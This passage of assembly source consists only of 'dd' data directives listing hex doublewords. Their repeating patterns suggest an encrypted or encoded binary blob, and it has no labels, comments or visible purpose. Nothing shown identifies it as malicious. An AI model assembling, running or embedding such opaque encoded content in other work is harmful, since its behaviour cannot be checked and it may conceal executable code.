		dd 0F9865C40h, 0C3E794BFh, 0BFC1C654h, 4C43E719h, 9DBFC906h
		dd 4644C2E7h, 0E702BFD1h, 0D9877C42h, 0CDE786BFh, 7FE1C774h
		dd 6C4DE70Bh, 8F7FE907h, 4764CCE7h, 0E7347FF1h,	0F9C45C4Ch
		dd 0CFE7B07Fh, 7FC18454h, 4C4FE73Dh, 0B97FC944h, 444CEE7h
		dd 0E7267FD1h, 0D9C57C4Eh, 0C9E7A27Fh, 3FE18574h, 6C49E72Fh
		dd 0AB3FE945h, 564C8E7h, 0E7433FF1h, 0F9876848h, 0CBE7C73Fh
		dd 3FC1C760h, 784BE74Ah, 0CE3FC907h, 4770CAE7h,	0E7513FD1h
		dd 0D986484Ah, 0D5E7D53Fh, 0FEE1C640h, 5855E758h, 0DCFEE906h
		dd 4650D4E7h, 0E767FEF1h, 0F9C56854h, 0D7E7E3FEh, 0FEC18560h
		dd 7857E76Eh, 0EAFEC945h, 570D6E7h, 0E775FED1h,	0D9C44856h
		dd 0D1E7F1FEh, 0BEE18440h
		dd 5851E77Ch, 0F8BEE944h, 450D0E7h, 0E78DBEF1h,	0F9474450h
		dd 0D3E709BEh, 0BEC1074Ch, 5453E784h, 0BEC9C7h,	875CD2E7h
		dd 0E79FBED1h, 0D9466452h, 0DDE71BBEh, 7EE1066Ch, 745DE796h
		dd 127EE9C6h, 867CDCE7h, 0E7A97EF1h, 0F905445Ch, 0DFE72D7Eh
		dd 7EC1454Ch, 545FE7A0h, 247EC985h, 0C55CDEE7h,	0E7BB7ED1h
		dd 0D904645Eh, 0D9E73F7Eh, 3EE1446Ch, 7459E7B2h, 363EE984h
		dd 0C47CD8E7h, 0F7F43EF1h, 0C04455A3h, 0A3F7F8ADh, 0ADABAA45h
		dd 71E0C73Eh, 3EADC844h, 9A51A2C7h, 0D77436BDh,	0C6046D23h
		dd 0DBC7BCADh, 0ADC4843Eh, 6DE5E7FEh, 0F43EFDC4h, 0C45058E7h
		dd 0F731FCE4h, 0CC847CF5h, 0A2E779ADh, 0ADC944E0h, 59E2C7F1h
		dd 3D32F944h, 0E161A2E7h, 1013ADA2h, 0E44468F4h, 0A3E7FCADh
		dd 0ADC0046Dh, 61E2D739h, 3EADA9E1h, 4475E3F7h,	0C7BFADE9h
		dd 0C4046DE3h, 62F779ADh, 6FDC461h, 6DA3F737h, 0FE74DD04h
		dd 56DE6D7h, 0E7FCEDCBh, 0DD445523h, 0E3B1F4C4h, 0ADC40475h
		dd 0EF71BDEBh, 77A4E804h, 4C4B483h, 9FB1FCFCh, 0D54449E2h
		dd 3383AFADh, 9CD604F3h, 6773E7F9h, 79AD9320h, 24EA33E7h
		dd 0C7BEC49Dh, 93E0DCA2h, 27C7FBADh, 32B8607Dh,	0FC36F7F9h
		dd 0E9ADC644h, 5AC731E3h, 0D7F0AD6Bh, 0E6C461E1h, 0A1F7F7ADh
		dd 0ADE7455Dh, 0D776E0D8h, 0F9FCE484h, 0E15DE2E7h, 0C7ACC49Dh
		dd 0FD056D27h, 0A2BDEBADh, 0ADCC0471h, 0EB76E7FCh, 74ADEA84h
		dd 8479A0E7h, 0F771ADE4h, 0E28455A1h, 0A0F776ADh, 468C045h
		dd 75E7E7F3h, 0EB349102h, 0C161E3ADh, 0D764EDA3h, 0E4C57D67h
		dd 0A5F7A4EDh, 6DC5C56Dh, 61E6A3A5h, 0A56D84C1h, 0C161E593h
		dd 0E735ADA6h, 4E21C404h, 0ECE7642Dh, 0F7C38765h, 0EB76616Ch
		dd 0EC9CF445h, 21C48761h, 0F76EED50h, 0B50D59E6h, 20E7F2F7h
		dd 0ADD64571h, 6563F7F2h, 0ECADC604h, 447CF5F7h, 0E7DE6DE4h
		dd 812B6924h, 0EFE7E52Dh, 0ADED0549h, 792AD7DDh, 0B66DF9C4h
		dd 867DAFC7h, 0E7B5ADD2h, 0F00761E8h, 0A9C7186Dh, 6DC0C471h
		dd 792FF7E6h, 77ADC905h, 876D2ED7h, 0E7786DFAh,	0DBC57DE4h
		dd 0AAF798ADh, 6DECC74Dh, 4DA9E718h, 74EDD7C6h,	0B245EFC7h
		dd 0F79CEDA3h, 0D7854DE4h, 6BF7752Dh, 0EDD5C455h, 4523C7ABh
		dd 0C0ADE586h, 74166C7h, 0E7D4EDF6h, 0F1875525h, 9DD7F42Dh
		dd 6DD005E4h, 49E4B002h, 0E56DE707h, 0C5656FC7h, 0D7566DD8h
		dd 0BBE95965h, 0E8494C67h, 67FB0671h, 65AE594Ch, 0E5ADE544h
		dd 0C74926F7h, 0D7A637EBh, 88217963h, 9C7B9ADh,	3FFC86E4h
		dd 5C48F792h, 56ADD586h, 4E71AB41h, 439C2D8Bh, 0B68E41AAh
		dd 0F1E7FFADh, 0EDC544D4h, 59E31037h, 7FADC7C4h, 4564B4D7h
		dd 0D7BCF4E9h, 712145A2h, 0A0D1BDADh, 0ADCB4441h, 7923D7FCh
		dd 0FEADE604h, 6145E3F7h, 0E1BDAD66h, 0B2A1D0D4h, 0E52BA0ADh
		dd 0B5E0C441h, 6D23B129h, 0B6ADB263h, 0C44520D7h, 0E7B6ADF1h
		dd 0E2845921h, 0A0E7B4ADh, 0ADE7C459h, 69A1F777h, 0A5ADF1C4h
		dd 69DE0AB3h, 0E7BEAD8Ah, 90417D21h, 73E7FEADh,	0ADE9C4DBh
		dd 0E87EE7B4h, 0F4EDCBC4h, 0C45521E7h, 0C7A6F4E4h, 85E16165h
		dd 0E09158EDh, 0EDD84565h, 545323BEh, 0F8ED0D48h, 445923D7h
		dd 0D7FEEDC5h, 0C2445D23h, 53E7AFADh, 7487E348h, 0C4FF81AFh
		dd 0AD4C60h, 0A065E5A1h, 386AD82h, 0A5A27833h, 5CF77DEDh
		dd 948DAB44h, 5D60D7EDh, 0FFADB868h, 685D2621h,	1DFFED9Bh
		dd 8DE1605Ch, 23C7E5EDh, 0B4A24B71h, 6167B134h,	7EAD6C80h
		dd 1DCB4C7h, 0E7B4F6A7h, 0E1046562h, 0E2816C76h, 0ADF68459h
		dd 889B81AAh, 0A5ED45C3h, 44A858A3h, 0D7783AFAh, 8F81C491h
		dd 0E5E7F936h, 0ADD0C461h, 7D610142h, 57F9AEA8h, 44612131h
		dd 0F024ADDCh, 0AE95E879h, 0A3F77474h, 0ADAF6B45h, 0F859C7BDh
		dd 6F767D21h, 4554F533h, 0F72EFCE4h, 0DDEA4CF5h, 0E0D70CC4h
		dd 0ADA02179h, 0EEC8C7F8h, 51ADD985h, 0B4C78869h, 0C75B07F1h
		dd 8AEE5D62h, 88E2BE6Dh, 0ADB129FBh, 6127D7F1h,	0EDB7E405h
		dd 565E6C7h, 0D7EDEDD5h, 0CDC44921h, 9DF735B6h,	36BCA1FCh
		dd 5121E7AEh, 0F8AD82F7h, 54D63E7h, 0D7FC34D3h,	0B1F799ADh
		dd 0BFE7BBADh, 0AD84B7F8h, 4123A1D7h, 76ADC644h, 0EB7163B1h
		dd 81ADED8Ah, 96F7D8B4h, 0D6A16CB5h, 71EAF7F8h,	6963F7F4h
		dd 3EADD504h, 4441E2D7h, 0C00041D7h, 0FF4441A3h, 0D6E77E32h
		dd 0B7EF0550h, 671E11FFh, 31ADEA84h, 4559E7E1h,	0EAFBEDC5h
		dd 0AD6845E6h, 0A2E091ADh, 39819779h, 81ECF487h, 0F04E5AB7h
		dd 0C451A1F7h, 0ADEBADF5h, 0D1047563h, 66C7F9ADh, 0F1DD4559h
		dd 6163E73Dh, 0BCAD8EB5h, 84F478D7h, 0D77EF4D6h, 0D8447DE2h
		dd 0A1F7AEF4h, 0ADC6445Dh, 0BCB3D73Eh, 47C7BCEBh, 0E123ECC4h
		dd 9D96ED9Fh, 853665E2h, 6AD4FBB8h, 0AD7076A9h,	2036C739h
		dd 86ADC2C4h, 0C490ACD2h, 0D77BADCAh, 8AA9BC68h, 81F7E8EDh
		dd 0B0A628DCh, 61E2E7BEh, 0D2AD8717h, 0F37D66D0h, 21EEADB6h
		dd 0E0057DE7h, 159042B7h, 749070E2h, 5CC1E7EDh,	70ADB6B3h
		dd 451CBED7h, 21AAADEBh, 0E9C469E7h, 0EDE771ADh, 0ED8BECB0h
		dd 79E6E7A8h, 28EDD705h, 76685DE7h, 0E85FB76Fh,	0AE09D776h
		dd 6CE4C1A0h, 61CD77A5h, 5162EAC9h, 38ADD245h, 4551A2D7h
		dd 319CADC3h, 0D0455123h, 28E779ADh, 0F090D028h, 9C153F0Ah
		dd 5CF4D2EEh, 0EE5DEDF7h, 62AAAD94h, 0F084E388h, 2BD7B7ADh
		dd 1C6058Ch, 41E0C25Fh,	0CDADF3C4h, 0D16DA190h,	91A5A3A9h
		dd 0AAEA4DE3h, 27E7FC34h, 0B3A99745h, 69A0F7EDh, 0B0ADE084h
		dd 3C6DA160h, 0F7B7AD6Bh, 65F1E0BAh, 405CB8EDh,	0EDC745AFh
		dd 0E0414006h, 76A3BABFh, 0C441A0E1h, 0A00DADE6h, 0EFC5A300h
		dd 1ED7A5B7h, 0ADEC4453h, 65E1D771h, 8CADD345h,	579E6B0h
		dd 0E737EDC5h, 90A16163h, 0B6A044F0h, 0F3BAE0D0h, 7DA3F775h
		dd 38C4ACB5h, 0C498FF70h, 819D74DAh, 8DAB69A1h,	238F39B5h
		dd 0AD8337ECh, 9C30E7BBh, 0E1B4A061h, 0B0556311h, 0C00E366Ch
		dd 0D97C278Ah, 0F611A1B0h, 0BD204F8h, 0E478F7B9h, 0B0018CF1h
		dd 84AC6158h, 0C736ADF7h, 6B768CB9h, 17073ADh, 0B3BF239Dh
		dd 88CF5C82h, 0A5C8E7C4h, 569A6A3h, 0D027EDD6h,	0AD235D21h
		dd 0E6C7E8A2h, 0EDE5056Dh, 7DA6D729h, 56EDE505h, 45E0F571h
		dd 0C77E06E0h, 0F744D490h, 0C8F7B33Eh, 0FDAE64h, 0F01321FEh
		dd 0CBAD962Bh, 7CEF9303h, 93A5ED07h, 98C161A7h,	20B3A5ADh
		dd 0AD9EC161h, 616093A5h, 0A5AD9BC1h, 0C1612693h, 93A5ED9Bh
		dd 98C16120h, 6693A5EDh, 0ED88C161h, 6122A3A5h,	0A5ED8EC1h
		dd 0C1616083h, 0B3A5AD9Fh, 0AAC16160h, 62AD1103h, 0ADB2C161h
		dd 0FF9593A5h, 5AFCE484h, 62C8F531h, 33677643h,	566044F5h
		dd 0F5F77184h, 0AD74E348h, 0B36B3CA0h, 0A58660E2h, 0BF512393h
		dd 0B340C95Ch, 0A44870F5h, 0F5F73789h, 0FCE44448h, 4CF5F777h
		dd 0F7FCE444h, 72A3B7F7h, 8CF7FC64h, 0A48CAC08h, 0F5F7B4FCh
		dd 47E6B64h, 0E05A4D22h, 54768DE1h, 5C0F53Dh, 0F76FFCE4h
		dd 0E40544F5h, 0F5F76CFCh, 0FCE40578h, 7CF5F772h, 0AA3CAB78h
		dd 0AC64F57Dh, 83A5ED51h, 87E1A0D0h, 0C181A5B2h, 6B7E1E0h
		dd 0F138F7EAh, 0F4AD3942h, 0EAB4EEF7h, 9DDE8254h, 0EB8745EAh
		dd 0E0415027h, 0AD8D7759h, 0B4B1F7B4h, 0D971E404h, 86716B30h
		dd 6DE534D7h, 0DF85CFC5h, 0A9915F6Dh, 14CB0741h, 4DAED707h
		dd 3534D762h, 624DAEF7h, 0C7C8ADB8h, 0C6C6C87Bh, 61A15F6Dh
		dd 2DE6849Bh, 75E8B95Eh
		dd 73A1F3C6h, 0D516AF8h, 0C794AD95h, 95EBF47Bh,	63E7FE71h
		dd 4498165Dh, 65278016h, 0FA717CA3h, 8445A7F7h,	53BFB7CFh
		dd 556C51E2h, 0C34178EDh, 0A7D56C86h, 3433C7FAh, 3FAD5562h
		dd 5E6962F7h, 4D3E874Dh, 3B6FE742h, 0E6437B5Fh,	0BF8DC265h
		dd 7521C7B4h, 8CA7DFC4h, 0E168C959h, 0E739AD95h, 8D8EFB76h
		dd 5B6903ADh, 0C4600F38h, 75A221F0h, 5CED6523h,	845920E0h
		dd 0E76EEDCAh, 0ECC779E5h, 66815F2Dh, 495C971h,	4DA9D775h
		dd 0A1EDAA62h, 0F2CFFA23h, 13E2F6B9h, 0CF8688C8h, 21815924h
		dd 0ADF40475h, 0C058D7B8h, 43ADF604h, 3FF45841h, 7CE2AD8Bh
		dd 515E37EEh, 236059ADh, 0BEEB455Dh, 69E3BDA7h,	0BEADCE04h
		dd 46DA3D7h, 0E7BCEDCBh, 0A2207562h, 0E02152ADh, 0B7F0046Dh
		dd 41E25198h, 85B6E7C4h, 9649A180h, 0E212ADABh,	6268AB67h
		dd 0FBF7FC70h, 0ADC028ECh, 6352119Dh, 0BEAD90F0h, 0EB6A93D7h
		dd 15C3FC35h, 426B4453h, 6FD739F4h, 9EF44480h, 4DEBF7ADh
		dd 0B934D762h, 6D5DA0D7h, 0E77AA129h, 0E72D5DABh, 2B6975A7h
		dd 34CF4671h, 641AF728h, 0D9266D22h, 847D6B9Dh,	25D734CFh
		dd 0F044F7FAh, 0C5AB9EE1h, 0AD8BA8C3h, 51E2D7A9h, 0F6ADC744h
		dd 1544F531h, 218AB426h, 0A1C1E013h, 7BC7DA2Dh,	2DDE84CCh
		dd 5D25815Fh, 0FB34CF46h, 624DAAF7h, 0C759ED9Eh, 0D5C5C47Bh
		dd 27815F2Dh, 0ADA09441h, 51A9D2B0h, 0DA34CF46h, 147DAAE7h
		dd 915F2D94h, 0CF4659E8h, 0A2F78734h, 2DDFC61Ch, 51AE815Fh
		dd 856DBF14h, 1441E7D2h, 0C2876D84h, 80147164h,	0ABD285ADh
		dd 34CF0669h, 4DAAD78Eh, 0BF2D8C62h, 0C5E7C5E2h, 0E70A79ECh
		dd 804D5D2Bh, 0EDF7AF79h, 0B9CC042Ch, 6D6AF78Fh, 0CC799CD7h
		dd 0A5DAAC7h, 0A15F2D9Bh, 8F5771E1h, 26F2B22Dh,	0ED935441h
		dd 61E3F28Bh, 0DB2D9D96h, 44E87BC7h, 0A159EDF6h, 8E166124h
		dd 0EEF299ADh, 2D939451h, 51EEE2BCh, 91B9FF06h,	565169C2h
		dd 0D2B2AD9Dh, 955471EEh, 6992A4EDh, 0ED9A5461h, 5166F2B2h
		dd 0BCAD9F56h, 0F455A3F2h, 20198491h, 0A428F063h, 0F1401FFCh
		dd 0C444AC70h, 0E4F8F770h, 0ECAD660Eh, 0C475A0B1h, 0D731F4C1h
		dd 0CC046DE3h, 0A2E7F9ADh, 0ADB1A165h, 0D0D27014h, 0BDB0BD90h
		dd 286B48D7h, 0D7BCAD97h, 86AC79A2h, 80F7310Ch,	0C4F544C8h
		dd 0F0B7A156h, 0F8B6E7C4h, 7364F531h, 0F7B5F491h, 0E5C45161h
		dd 365288EDh, 0ADC244D8h, 75616F03h, 0BB78E084h, 471239Dh
		dd 0C7F1C9DAh, 996175E6h, 7E324BF5h, 78DC4520h,	147EF7AAh
		dd 6C7FD404h, 55C7CE7h,	0E7EA7AD9h, 0EC857079h,	6712D602h
		dd 0ED805265h, 6961B3FCh, 0BCADF604h, 0E2CA1231h, 0E77014F6h
		dd 0E004E896h, 0A18C5F9Eh, 76A1AC75h, 6DE1B3A5h, 0F8B6E544h
		dd 626DE1F7h, 60B6B714h, 0D7047372h, 269079ADh,	0B6D0C428h
		dd 0A384B0BDh, 81C3AE3Eh, 0AC75E221h, 4C42349Fh, 46206521h
		dd 60E7B448h, 84D9C471h, 61E06C27h, 0F0ADDC44h,	41ACCA61h
		dd 0C7B8AD84h, 0D5C41B37h, 0E060E9ADh, 889D9D4Dh, 2B428113h
		dd 0FBADD584h, 0F99E4521h, 420478B0h, 6B7C84F2h, 749039ADh
		dd 0C3B899C0h, 134BF776h, 73AD2DBDh, 1171E153h,	0D3E73B6h
		dd 0C044B38Dh, 8AE7FCADh, 977F61E3h, 84CB012Dh,	0F9B076FCh
		dd 0A24DA3E7h, 3181BC91h, 0D04469A3h, 0A162DFADh, 0ADD24459h
		dd 8E83C77Eh, 58B044FDh, 62B60D81h, 0C7BFAD69h,	49105923h
		dd 5321F670h, 488DF4D4h, 6563F7FEh, 0FCF4B51Dh,	0FE8BD423h
		dd 0A1ECADACh, 1C68EEDDh, 0C533FC83h, 0AD7668A9h, 0A026C7B8h
		dd 0BABEBCCBh, 81C9639h, 31F43341h, 3058C052h, 88C7B7ADh
		dd 488948F4h, 9ED301A8h, 0F0AD80E8h, 90A7D2C7h,	804EADB1h
		dd 77E0B450h, 4A907FADh, 0AD8028B2h, 4921BDEFh,	75BE9548h
		dd 5A5523D7h, 0C77F6DB3h, 0B622ED7Bh, 0CAE7FFADh, 0AD8BE8B4h
		dd 75E7E73Ch, 82C4583Eh, 0BA61A390h, 0E77CAD6Ah, 8330D433h
		dd 0B2E7F8ADh, 0ADB930ACh, 0C4BAF7B6h, 9FAD9668h, 84792022h
		dd 0F7FCF2F4h, 0F904A88Ah, 0C57AEEADh, 0ADF78416h, 0FF76B04Eh
		dd 7834BF24h, 0E2941EF7h, 205F22D5h, 0F4847920h, 8AF7FCF2h
		dd 0E4ECE1A0h, 7D20ABA1h, 32AD868Ch, 568B20Fh, 0F77DADCEh
		dd 0D00469A6h, 0E2D77FADh, 0EDD50571h, 6DE2F7FEh, 0EBADC805h
		dd 0F3CCB45Ch, 0D7AE0FBEh, 0D24565E2h, 72C73FB4h, 0B4DF4468h
		dd 6D21C732h, 84ED8822h, 2DE7FAA3h, 0C7B1ED7Ch,	0E207D67Dh
		dd 3C4575ADh, 0ED1FE3CDh, 0FCBDC7FCh, 47ADC6C6h, 455926A9h
		dd 0E7B5ADE1h, 0DBC461A0h, 0E181D5EDh, 74E0C441h, 6160F771h
		dd 51848992h, 0C490BFA2h, 8154ADE9h, 0B1FC51A1h, 21E7EDADh
		dd 0ADEBC461h, 6D26F734h, 6DEDD545h, 8469E7E7h,	0F773ADECh
		dd 0D40551A1h, 67E76AEDh, 0B582B04Dh, 69E7E7F8h, 7AF2C044h
		dd 4551E7A0h, 0E73CEDC3h, 0CA0549A2h, 0E7A124B5h, 0EDC54541h
		dd 0B8BCF7EAh, 8334C9C4h, 2CE07BA0h, 20BA348Eh,	0CE05E07Bh
		dd 44D73034h, 0ADED84F4h, 4DE691DFh, 0B4ADAD42h, 0E47961F7h
		dd 532CADB1h, 48E26C04h, 0A361600Ch, 3CE3456Dh,	5679B993h
		dd 6304E705h, 0ECF10675h, 2148FCB0h, 0C5447D23h, 0A32183EDh
		dd 0ADD645DCh, 0C3B4B12Fh, 0AEDC504h, 0CCCB021h, 0D731AD61h
		dd 0D50561E1h, 0E6E768EDh, 0EDD605C0h, 0D5F769BBh, 0BDC27D12h
		dd 1C49E3D7h, 82B9AD61h, 8BADCC0Fh, 73C139ADh, 5A912280h
		dd 41A491A0h, 0DC74E344h, 0E34D63E7h, 0C73C6D38h, 0FC44CCBDh
		dd 6DC4E93Fh, 54EF444Dh, 7D23E721h, 8D2D84E3h, 4549A29Bh
		dd 7CECB2DBh, 0A85D7DA2h, 0B4F767EDh, 0BC98EDE4h, 592A9BD1h
		dd 0FAF6FD06h, 697DE4F7h, 33A26DAFh, 0DAC7E4B4h, 4F324A6Dh
		dd 6DE685ECh, 7497E76Bh, 2AED835Ah, 0A26561E7h,	0A5D124F5h
		dd 0F5A2E5F8h, 0FFB5D124h, 70FF05A3h, 7D25D7C5h, 0A0ED9228h
		dd 565ACA3h, 15218BFEh,	0E5A2652Ah, 0DDC7A66Dh,	0ED24A2E5h
		dd 416CA3A0h, 0C51CF5ABh, 8B41EF2Dh, 545719Ch, 21A2E55Dh
		dd 92C7B5EDh, 0E6716BC4h, 4128A5D1h, 832DA18Bh,	0C56EF825h
		dd 0F7D8FCF0h, 0F8AAF15Ch, 92C0333Eh, 3EF845F4h, 0E594ECE7h
		dd 0ADEDC1A2h, 0A2E59AE2h, 0F72584C9h, 0B555E3B8h, 18FEEB24h
		dd 0F9C4C454h, 44DDF7C9h, 0FE66E975h, 3551E2ADh, 0F4B666FCh
		dd 0FCC744B4h, 0E2ABD1A1h, 0F9C48787h, 64DDF7D1h, 0FE66E96Ah
		dd 55612EADh, 0A5D1269Dh, 0FC86B765h, 2EABD1A1h, 21F046A7h
		dd 769FB5D1h, 0D1BEDCC5h, 0EAF733A5h, 23BBED69h, 0ECEB61EAh
		dd 0E6ABD166h, 66C4B141h, 0A5743DB9h, 0F1C01582h, 82A574F7h
		dd 0E7526D09h, 0FAC7F45Fh, 0EF01CF2Dh, 76CD4661h, 45EBC7CCh
		dd 0E7AD9C4Bh, 9361E4C0h, 0B281ED8Ah, 0A49361E1h, 0E892812Dh
		dd 2D809361h, 612B9281h, 7BEDA493h, 858865E7h, 0F7AE78D4h
		dd 0D4C400FEh, 0FEF73378h, 40D84410h, 8C65E73Bh, 0F838EC44h
		dd 0C73C79F7h, 0F7C338ECh, 0EC472C79h, 79F7CE38h, 38EC073Ch
		dd 2879F79Fh, 2738EC06h, 0F54522E7h, 0B299ADAEh, 821261A0h
		dd 0E2B299ADh, 0B59E1261h, 612DF0E7h, 996DBA12h, 12616FB2h
		dd 0B2992DA3h, 8112612Ah, 65E7BAEDh, 0FBF8C494h, 3004F77Eh
		dd 0FBF8C7h, 470004F7h,	0C74DFBF8h, 9BF54522h, 0E842A86Dh
		dd 2D831D71h, 716A62A8h, 3AEDB71Dh, 0DC0044C7h,	42B7ADA5h
		dd 83DC41E0h, 0F862B7ADh, 0E6F1A2E5h, 0E5F825E0h, 0CBEDF9A2h
		dd 0A2E4BDC7h, 2DCF46CDh, 0D38565EDh, 0A5F7EDB6h, 0EDFC8769h
		dd 61E2ECE7h, 0C1468D5Fh
		dd 0A224CFF7h, 25E066DDh, 0F485E733h, 0BDC78B03h, 2D656BC4h
		dd 41E06A88h, 880E959Eh, 0A9B7E26Ah, 0F7EF84C9h, 0DF0540B4h
		dd 0A0A1446Dh, 7BC406B7h, 7DE4F7D7h, 0A36D8928h, 46DF3322h
		dd 0C1E11BCCh, 6FA9C492h, 0E1C7BBEDh, 464D5F69h, 2614F7E9h
		dd 0CA24F5A2h, 60D594ECh, 0B3A0ED69h, 0ADD951EBh, 54F7F0C1h
		dd 6D9F81B1h, 13AD22A6h, 0E16D2699h, 0A1F3D7C7h, 22A36DB9h
		dd 0FC46B7A0h, 0B724E3FAh, 0A2C1A9B5h, 5D69E727h, 87C939FFh
		dd 0C40A9535h, 2841EDFBh, 0E1A9B7A7h, 0DBF729E2h, 0EDF5A226h
		dd 0C618C761h, 0E5FCE885h, 847560ADh, 294623E3h, 0C1A961A5h
		dd 62C7ACFCh, 0F4E5397Dh, 66B4F7E8h, 0D7E4C5E1h, 214D22C7h
		dd 0A5B4FCFFh, 1C41E1F5h, 0F524A8EDh, 0A4E00454h, 4AF7B5E5h
		dd 0E57CE4C4h, 0C361E09Dh, 0F733C4B5h, 46F544FDh, 0A0A385ADh
		dd 7CE4448Bh, 61E29DEEh, 0E5EDA0C3h, 0C3616293h, 3C86EDA3h
		dd 0E5C578FDh, 0FDF707FCh, 0FCE5C544h, 40FDF701h, 3FCE5C5h
		dd 0C940FDF7h, 0F74CEDA5h, 0E407623Bh, 6E3CFF7Ch, 0ED2BC361h
		dd 71EFA3E5h, 0ADE4E5E0h, 0E361699Bh, 0D7EEFCE5h, 0E5E07DE4h
		dd 28B96DE4h, 3C0E361h,	0E1F565AAh, 8CE4C461h, 0E1E5CD2Bh
		dd 0D7BDE4E5h, 25BB6D24h, 0DBF79EE4h, 445D2304h, 0F7F4ADD5h
		dd 8BE7D887h, 4774F565h, 0ADEAFFD8h, 0D804F737h, 0AEADCBFFh
		dd 0DCC42D51h, 0E5FDF79Bh, 0AA2D9DC1h, 41E1F565h, 0A3ABED2Eh
		dd 0DC85EBB7h, 24ADCBDCh, 0A4E38575h, 0FAF785E5h, 0E5FCDC05h
		dd 6941269Dh, 25A886D4h, 3641E1F5h, 0CBB5ABADh,	0E4E529F3h
		dd 41A3BBADh, 0A846CC21h, 61D1F525h, 0F738FCC1h, 0DC045A11h
		dd 0AD9DE1FCh, 449D0141h, 6476F706h, 0AB6D72E2h, 87DB37A3h
		dd 9DD1FCDCh, 0BD0141AFh, 76F70E04h, 6D526264h,	0DB7BA3ABh
		dd 0D9FCDC07h, 0D571698Dh, 93AB2D30h, 0B8C16565h, 45A3AB2Dh
		dd 0FCDC46F3h, 0C30FF7A6h, 98C7B101h, 0C55876F7h, 0F79AFCE5h
		dd 60BE7476h, 76C73BEDh, 0FCE585E0h, 2C21F7A6h,	0A0FCE585h
		dd 852821F7h, 0F7A2FCE5h, 0E0853421h, 0E6DAB2C2h, 0EDB3D451h
		dd 516693E5h, 0E5EDB2D4h, 9451E193h, 0F2B6AD2Eh, 68634164h
		dd 649DEAB9h, 0E650BE51h, 0F19CB5E5h, 0C8C43597h, 0E07DA4F7h
		dd 856DE4E5h, 0E5E1E5F7h, 0E7E77AD4h, 63F36F6Dh, 716BA1E5h
		dd 0D3E689D6h, 0C934A9F7h, 8BAD2160h, 0CC374122h, 0B1C76081h
		dd 0E4C7E1E5h, 0EDF7856Dh, 0E5E4E561h, 8455A2B9h, 0FA5E63EBh
		dd 0E5369172h, 76F7FEFCh, 67D92F34h, 1476F7FAh,	82ADE9AEh
		dd 31412DAAh, 0B5ADE4C4h, 0E561E1F7h, 0AFBBE5E4h, 0A0DF844Dh
		dd 512F89E5h, 0E521D832h, 0B351EAA3h, 9DE567DCh, 0F3AE4DA4h
		dd 0E4AA82BAh, 0E4A51D71h, 0F5B7A5ECh, 0E5E4C161h, 7C7F5A5h
		dd 0A47BADFDh, 0E4C6E2F5h, 0CBF49A63h, 67911DF3h, 71AD65CAh
		dd 8C82D43Dh, 0FC41AC6Ah, 0F7D5DCC4h, 6DE12421h, 0F4E2B62Dh
		dd 0B9E886EBh, 71288DCBh, 0D3C40997h, 0E1A541F7h, 0E784DCC4h
		dd 0E5214D22h, 64E7E0F4h, 0E4E5E07Dh, 0EDF7856Dh, 0E5E4C761h
		dd 54A4F85h, 89E5A0DFh,	0D87871AAh, 97BDA321h, 67D92F34h
		dd 1497F7FFh, 87EDDDAEh, 7971622Ah, 0F79ADCC4h,	99C1A56Eh
		dd 0F524AC6Dh, 0ED3041E1h, 0D3F522A3h, 0E8FAFC85h, 230454BFh
		dd 3A9EED48h, 255A51A6h, 782AA3ADh, 0E2C046E7h,	0C1C2B523h
		dd 0AFE4CC61h, 81C97495h, 0C79FAD32h, 5A1C9CFh,	2AB5B3ADh
		dd 0ED7C3381h, 0F14E8442h, 0BAADB9A1h, 45D508A3h, 0F7FE9CD8h
		dd 0DAA14832h, 0BEF7E205h, 0ED41A148h, 0E7FD6BA6h, 2364C007h
		dd 845A77B5h, 0A3A0E2FCh, 0FE637128h, 77B5AFE4h, 0DCFEA1C9h
		dd 4DE7F77Eh, 74A4D7A0h, 0F14D6442h, 63A9FCF0h,	0D445E7B2h
		dd 37A523FFh, 0E4FE61D5h, 51658D23h, 0BCA4D4ADh, 81F1C6BDh
		dd 6BAAADB5h, 0CCEC71E2h, 9BF700DCh, 0E4FEA10Ah, 0C9749523h
		dd 0A2EDD9A1h, 0DFCD70C7h, 0A5F83F30h, 6D20F7FDh, 7D63A92Dh
		dd 447DE3C7h, 6168ADF8h, 0CD06150Dh, 0E364C6F7h, 75B42D4Dh
		dd 0FE61C177h, 0ACBB23E4h, 0A4FF8545h, 48C88579h, 43E7D785h
		dd 4410B3h, 9523BE78h, 0C007EB2Ah, 35F70B5Fh, 0AD59E366h
		dd 0C17415B9h, 8C2D3541h, 4F71685Bh, 7B8C2D0Dh,	3DC151AAh
		dd 0D2F7CF44h, 0DCCCA1C9h, 7D22F724h, 9FED2A23h, 85CFB223h
		dd 0ADE13ECCh, 0D446F77Dh, 77B523A6h, 1ECC455Eh, 62DAF768h
		dd 0A026DCC4h, 855564A3h, 8523E4FFh, 0CC84FE77h, 0DAF7721Eh
		dd 26DC447Eh, 8966BDBBh, 0C1DCCCA1h, 81B16EF7h,	0D4AB6DA5h
		dd 1D41C174h, 0ED2B9FADh, 44250A41h, 8966F7CCh,	6DCCCA1h
		dd 20765AF7h, 0D4AB2D75h, 441C174h, 0B4F4906Dh,	0E1DC0674h
		dd 0C152B523h, 992D254Ah, 4A41290Bh, 0F7D244A5h, 4FE3445Bh
		dd 7C239F2Dh, 0D8D806C7h, 5D22C765h, 0B6ED2931h, 0D051A48Ah
		dd 8AB6ED05h, 11D05167h, 268AB6EDh, 0AD2DD051h,	51E08AB6h
		dd 0B6AD39D0h, 0D051A38Ah, 8AB6AD15h, 21D05162h, 2D8AB66Dh
		dd 6D3DD051h, 0FFF4A2B6h, 0A2C1D085h, 0A1C974C7h, 0F7CED4CFh
		dd 51A10831h, 0FDAA946Dh, 20F446F7h, 5677B523h,	0EE18E086h
		dd 0A14D244Fh, 0A96FE4FEh, 0D4BD71EAh, 7454AD80h, 0ED2741C1h
		dd 0CEBEC73Ah, 0D5BBF8C5h, 7D6160A5h, 0B58EE4FEh, 441F3683h
		dd 0A4B523E3h, 0ED139C91h, 0E31974BCh, 0AFE4FE7Dh, 0FF41618Bh
		dd 0F7D0FCF0h, 0CCA189C7h, 4DF7F2DCh, 0E344F0A1h, 0E3B9B523h
		dd 2344ED45h, 456D6BA9h, 0F7DD74EDh, 0A5E365ECh, 7412AFADh
		dd 0EDC644DDh, 6DE2A1C7h, 0CA74E587h, 81B1D6F7h, 22AA6DA9h
		dd 9DD8612Bh, 14C7222Dh, 0ED8DC3ADh, 6567A1C7h,	0CB74E587h
		dd 81B114F7h, 0E76FAD8Fh, 0C846C47Dh, 50F7D1FAh, 0EDAB81B1h
		dd 407DE72Fh, 0A92DA158h, 0DB937D34h, 22B52D91h, 0E8B951ACh
